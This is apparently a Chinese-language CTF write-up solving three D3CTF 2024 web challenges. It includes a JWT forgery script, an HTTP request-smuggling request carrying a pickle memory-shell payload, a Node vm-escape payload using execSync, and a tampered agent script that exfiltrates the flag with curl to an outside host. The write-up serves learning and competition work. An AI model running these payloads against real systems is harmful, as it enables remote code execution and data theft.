D3CTF 2024 wp
2024-04-28 10:19:27

d3pythonhttp

分为前端和后端,前端为代理转发,后端有个pickle反序列化可以打

backend:

1
2
3
4
5
6
7
8
9
10
11
12
13
class index:
def GET(self):
return "welcome to the backend!"

class backdoor:
def POST(self):
data = web.data()
if b"BackdoorPasswordOnlyForAdmin" in data:
return "You are an admin!"
else:
data = base64.b64decode(data)
pickle.loads(data)
return "Done!"

frontend:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65

@app.route('/backend', methods=['GET', 'POST'])
def proxy_to_backend():
forward_url = "python-backend:8080"
conn = http.client.HTTPConnection(forward_url)
method = request.method
headers = {key: value for (key, value) in request.headers if key != "Host"}
data = request.data
path = "/"
if request.query_string:
path += "?" + request.query_string.decode()
conn.request(method, path, body=data, headers=headers)
response = conn.getresponse()
return response.read()

@app.route('/admin', methods=['GET', 'POST'])
def admin():
token = request.cookies.get('token')
if token and verify_token(token):
if request.method == 'POST':
if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
forward_url = "python-backend:8080"
conn = http.client.HTTPConnection(forward_url)
method = request.method
headers = {key: value for (key, value) in request.headers if key != 'Host'}
data = request.data
path = "/"
if request.query_string:
path += "?" + request.query_string.decode()
if headers.get("Transfer-Encoding", "").lower() == "chunked":
data = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data))[2:], data.decode())
if "BackdoorPasswordOnlyForAdmin" not in data:
return "You are not an admin!"
conn.request(method, "/backdoor", body=data, headers=headers)
return "Done!"
else:
return "You are not an admin!"
else:
if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
return "Welcome admin!"
else:
return "You are not an admin!"
else:
return redirect("/login", code=302)

def get_key(kid):
key = ""
dir = "/app/"
try:
with open(dir+kid, "r") as f:
key = f.read()
except:
pass
print(key)
return key

def verify_token(token):
header = jwt.get_unverified_header(token)
kid = header["kid"]
key = get_key(kid)
try:
payload = jwt.decode(token, key, algorithms=["HS256"])
return True
except:
return False

需要登录admin才能请求后端/backdoor接口,kid为可控,让其为/dev/null变成空密钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import jwt

token_dict = {
"username": "p4d0rn",
"isadmin": True
}

headers = {
"kid": "../dev/null",
"alg": "HS256",
"typ": "JWT"
}
jwt_token = jwt.encode(token_dict, # payload
"", # secret key
algorithm="none", # default HS256
headers=headers
)
print(jwt_token)

要访问/backdoor接口,请求体要有BackdoorPasswordOnlyForAdmin,但后端想要执行pickle反序列化又不能有这段字符串

考虑前后端对HTTP报文的解析差异,前端是flask写的,后端是web.py写的

参考这篇文章来构造chunk data👉https://xz.aliyun.com/t/7501

经过了A thousand years later.jpg 的尝试,发现如果往后端两条Transfer-Encoding: chunked请求头可以成功让其走CL解析

看了一下后端web.data()的源码

1
2
3
4
5
6
7
8
9
def data():
"""Returns the data sent with the request."""
if "data" not in ctx:
if ctx.env.get("HTTP_TRANSFER_ENCODING") == "chunked":
ctx.data = ctx.env["wsgi.input"].read()
else:
cl = intget(ctx.env.get("CONTENT_LENGTH"), 0)
ctx.data = ctx.env["wsgi.input"].read(cl)
return ctx.data

也就是Transfer-Encoding不为chunked就会走CL解析

但是如果有多条Transfer-Encoding,下面就会返回如chunked,chunked就会引起报错

1
2
3
4
5
data = request.data  # 返回byte
if headers.get("Transfer-Encoding", "").lower() == "chunked":
data = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data))[2:], data.decode()) # byte转成str
if "BackdoorPasswordOnlyForAdmin" not in data: # str not in byte => error
return "You are not an admin!"

试了在Transfer-Encoding后端加空白符,flask均将其视为Transfer-Encoding

1
2
Transfer-Encoding[空格]: chunked
Transfer-Encoding[\t]: chunked

注意到前端拼接chunk data前判断Transfer-Encoding特意转了小写,这说明flask底层处理http报文不会将其转小写(否则这就是多此一举

盲猜一把大写绕过。现在就是前端走TE解析,后端走CL解析。

比赛平台和上次的hgame一样,按这个平台尿性估计又是DNS可出网,其他不能出网。试了一下果然。

前端留了一个/backend接口用于转发到后端/,那就写一个web.py的内存马吧

利用pker生成pickle字节码

exp.py,就是重写了index类的GET方法

1
2
3
4
5
6
7
8
9
getattr = GLOBAL('builtins', 'getattr')
dict = GLOBAL('builtins', 'dict')
dict_get = getattr(dict, 'get')
globals = GLOBAL('builtins', 'globals')
builtins = globals()
a = dict_get(builtins, '__builtins__')
exec = getattr(a, 'exec')
exec('index.GET = lambda self: __import__("os").popen(web.input().cmd).read()')
return

python3 pker.py < exp.py

1
2
3
4
5
6
7
8
9
10
11
12
POST /admin HTTP/1.1
Host: 47.103.122.127:30915
cookie: token=eyJhbGciOiJIUzI1NiIsImtpZCI6Ii4uL2Rldi9udWxsIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6InA0ZDBybiIsImlzYWRtaW4iOnRydWV9.0V1NFzZpxPFENM1DEi-QvlmS_kl6a5trQY2y9hObUys
Content-Length: 300
Transfer-Encoding: CHUNKED

12c
Y2J1aWx0aW5zCmdldGF0dHIKcDAKMGNidWlsdGlucwpkaWN0CnAxCjBnMAooZzEKUydnZXQnCnRScDIKMGNidWlsdGlucwpnbG9iYWxzCnAzCjBnMwoodFJwNAowZzIKKGc0ClMnX19idWlsdGluc19fJwp0UnA1CjBnMAooZzUKUydleGVjJwp0UnA2CjBnNgooUydpbmRleC5HRVQgPSBsYW1iZGEgc2VsZjogX19pbXBvcnRfXygib3MiKS5wb3Blbih3ZWIuaW5wdXQoKS5jbWQpLnJlYWQoKScKdFIu
1c
BackdoorPasswordOnlyForAdmin
0

接着访问/backend?cmd=cat /Secr3T_Flag

stack_overflow

太会整活了,pwn手看了脸红,web手看了流泪。

刚开始还一本正经地调试去理解他创建的这个虚拟栈,以为要真正”栈溢出“覆盖这个函数

(function (...a){ return a.map(char=>char.charCodeAt(0)).join(' ');})

咳咳,但这毕竟是web题,其实就是简单的代码注入+js VM逃逸。

注入点在这

1
2
3
4
5
6
7
8
9
10
11
case "call_interface":
let numOfArgs = stack.pop()
let cmd = stack.pop()
let args = []
for (let i = 0; i < numOfArgs; i++) {
args.push(stack.pop())
}
cmd += "('" + args.join("','") + "')"
let result = vm.runInNewContext(cmd)
stack.push(result.toString())
break;

cmd将传入的参数进行拼接,作为上面求ascii的函数的实参。前后闭合单引号,中间放个自执行函数即可。

1
{"stdin":["',(function(){const err = new Error();err.name = {toString: new Proxy(() => \"\", { apply(target, thiz, args) { const process = args.constructor.constructor(\"return process\")(); throw process.mainModule.require(\"child_process\").execSync(\"cat /flag > /app/static/flag\").toString(); },}),};try {err.stack;} catch (stdout) {stdout;}})(),'"]}

注意Dockerfile里写的/readflag,没有权限直接读flag,但实际环境直接读就行了,平台尿性不能出网,写flag到静态目录下去

moonbox

vivo基於jvm-sandbox-repeater开发的流量回放平台

部署参考👉https://github.com/vivo/MoonBox/blob/main/docs/%E6%9C%88%E5%85%89%E5%AE%9D%E7%9B%92Docker%E9%83%A8%E7%BD%B2%E6%89%8B%E5%86%8C.md

运行录制后发现如下日志:

任务启动参数:curl -o sandboxDownLoad.tar http://127.0.0.1:8080/api/agent/downLoadSandBoxZipFile && curl -o moonboxDownLoad.tar http://127.0.0.1:8080/api/agent/downLoadMoonBoxZipFile && rm -fr ~/sandbox && rm -fr ~/.sandbox-module && tar -xzf sandboxDownLoad.tar -C ~/ >> /dev/null && tar -xzf moonboxDownLoad.tar -C ~/ >> /dev/null && dos2unix ~/sandbox/bin/sandbox.sh && dos2unix ~/.sandbox-module/bin/start-remote-agent.sh && rm -f moonboxDownLoad.tar sandboxDownLoad.tar && sh ~/.sandbox-module/bin/start-remote-agent.sh moon-box-web rc_id_2748e656671eb9e899fa493818e87140%26http%3A%2F%2F127.0.0.1%3A8080%26INFO%26INFO

下载了两个压缩文件,解压,然后运行了一些sh脚本

这两个压缩文件用户可以上传

image-20240428100343265

由于是题目公共厕所环境,直接访问/api/agent/downLoadMoonBoxZipFile就能拿到上一个人构造的压缩文件,自己改一下就好了

image-20240428100601854

修改start-remote-agent.sh,第一行添加

1
curl http://ip:port/`cat /flag`

d3ctf{fuck_d3chain_i_forget_delete_test}

看这个flag估计是出题人另一道题d3chain的附件泄露题解了?呜呜呜可惜了

Prev
2024-04-28 10:19:27
Next